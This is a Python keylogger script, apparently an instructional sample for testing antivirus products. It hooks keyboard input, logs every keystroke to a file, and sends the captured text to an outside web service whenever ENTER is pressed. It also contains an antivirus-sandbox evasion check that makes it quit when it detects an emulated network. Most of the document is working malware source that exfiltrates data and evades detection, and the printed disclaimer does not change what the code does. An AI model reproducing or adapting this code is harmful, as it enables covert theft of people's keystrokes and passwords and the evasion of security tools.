import pythoncom, pyHook, sys, logging
LOG_FILENAME = '[Link]'
print "******** ** ** ** **"
print "******** ** ** ** **"
print "** ** ** ** **"
print "** ** ** ** **"
print "******** ** ** ** **"
print "******** ** ** ** **"
print "** **** ** **"
print "** **** ** **"
print "******** ** ** *********"
print "******** ** ** *********"
print
print "I am an evil keylogger!"
print "I will steal your keystrokes and post them on SparkFun!"
print "I evade AV by fetching a non-existent page, as I just learned at BSidesLV"
print "Two steps to get hacked:"
print
print "1. Type any line of text"
print "2. Press ENTER again"
print
print "The results don't show up in IE; you need to make Chrome the default
browser"
print
print "This is intended as a test of antivirus products."
print "Don't do illegal things with it!"
print "If you have questions, contact sbowne@[Link]"
print
import socket
numchars = 0
keys = ""
import webbrowser
import urllib
url = '[Link]
response = [Link](url)
# print "url: ", url, " Code = ", [Link]();
if [Link]() == 200:
print "You are not a real machine!"
print "You are an emulated network inside an AV product!"
print "I'm not going to log your keystrokes, after all!"
x = raw_input("Press Enter to continue");
exit(1)
def OnKeyboardEvent(event):
global numchars, keys
[Link](filename=LOG_FILENAME,
level=[Link],
format='%(message)s')
[Link](10,chr([Link]))
numchars += 1
keys += chr([Link])
if [Link] == 13:
url = '[Link]
params = [Link]({'private_key' : '4Welwz5yJdC1N5pGpnkB',
'keys' : keys})
req = url + "?" + params
response = [Link](req)
[Link]('[Link]
[Link]()
return True
hm = [Link]()
[Link] = OnKeyboardEvent
[Link]()
[Link]()